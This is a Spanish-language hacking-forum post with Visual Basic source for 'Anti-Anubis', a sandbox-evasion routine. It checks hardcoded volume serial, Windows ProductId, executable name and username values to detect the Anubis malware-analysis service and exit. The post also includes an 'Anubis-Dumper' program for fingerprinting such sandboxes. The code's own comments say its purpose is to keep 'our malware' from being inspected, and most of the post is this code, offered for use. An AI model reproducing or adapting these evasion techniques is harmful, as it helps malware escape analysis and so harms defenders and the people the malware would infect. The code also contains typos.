¿Que es Anubis?
Anubis es un servicio gratuito que permite a un usuario enviar un fichero ejecutable para ser examinado de forma exhaustiva. Anubis es una aplicación con un front-end basado en Web, pero el back-end sigue tratándose de un simple PC con Windows instalado y una SandBox que recopila información de los ficheros enviados.
Anubis Web :http://anubis.iseclab.org/
¿Como funciona IsAnubisPresent()?
Bien, como ya se ha explicado, el back-end de este servicio es un Windows completo: con su registro, sus ficheros, sus variables de sistema, etc... mucha de esta información es única (por ejemplo el número de serie del HDD, el número de serie del ID de Windows, etc...) y con una simple comparación podemos saber si nuestro ejecutable esta siendo analizado desde ese Sistema Operativo en concreto
Vale, lo entiendo... pero ¿como has adivinado los números de serie del Windows de Anubis?
Bueno, la idea no es 100% mía. En internet circula un Source algo extenso y desordenado que recoge la información de una variable del registro para comparar el ProductId, viendo ese source se me ocurrió la idea de programar mi propio: Anubis-Dumper. Este programa recopila dicha información única del Sistema Operativo Windows de Anubis y genera carpetas en la raiz con los valores recopilados, con el único fin de mostrar dichos valores por el propio sistema de análisis de Anubis.
Aquí una captura del Anubis-Dumper que me permitió recopilar los datos
Una vez que tenemos los valores, solo he tenido que generar una sencilla función que haga las comprobaciones oportunas para detectar si el ejecutable se haya bajo el análisis de Anubis
Ole!, dejemonos de royos, donde está el source?
Aquí te dejo el source principal: Anti-Anubis
Código
''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anti-Anubis 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 27/06/08 ' ' Programa que detecta si nuestro malware ' se ejecuta en la SandBox de Anubis, permitiendo ' finalizar el proceso y evitar que inspeccionen nuestro ' malware :) ' ' Original idea: http://hackhound.org ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean On Error Resume Next Set WShell = CreateObject("WScript.Shell") Select Case OptionToCheck Case 1 'Recomendado If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 2 'Recomendado If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 3 'No recomendado If UCase(App.EXEName) = "SAMPLE" Then IsAnubisPresent = True Else IsAnubisPresent = False End If Case 4 'No recomendado If UCase(Environ("USERNAME")) = "USER" Then IsAnubisPresent = True Else IsAnubisPresent = False End If End Select End Function Public Function GetSerialNumber(DriveLetter As String) As Long Buffer1 = String$(255, Chr$(0)) Buffer2 = String$(255, Chr$(0)) Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2)) GetSerialNumber = SerialNum End Function
Para ejecutar el programa se recomienda lo siguiente:
Código
Sub Main() If Is AnubisPresent(1) = True Then End 'Your Code Here... End Sub
Y por si alguien le interesa, os dejo el Source del Anubis-Dumper, solo hay que compilar el dumper y enviarlo para analizar al propio Anubis, en cuestión de minutos obtendremos las variables preparadas para programar las condiciones para el Anti-Anubis.
Código
''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ' Program: Anubis-Dumper 1.0 ' Coder: MadAntrax ' Web: foro.elhacker.net ' Date: 27/06/08 ' ' Programa que recopila cierta información del sistema ' y genera carpetas en la raíz con el único fin ' de mostrar dicho contenido en la web de Anubis ' ' Original idea: http://hackhound.org ' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long Public Function GetSerialNumber(strDrive As String) As Long Temp1 = String$(255, Chr$(0)) Temp2 = String$(255, Chr$(0)) Res = GetVolumeInformation(strDrive, Temp1, Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2)) GetSerialNumber = SerialNum End Function Sub Main() On Error Resume Next Set WShell = CreateObject("WScript.Shell") MkDir GetSerialNumber(Environ("SystemDrive") & "\") MkDir Environ("USERNAME") MkDir App.EXEName AA = WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") MkDir AA DoEvents End End Sub
Dejo adjunto un fichero con los 2 sources preparados. Saludos!!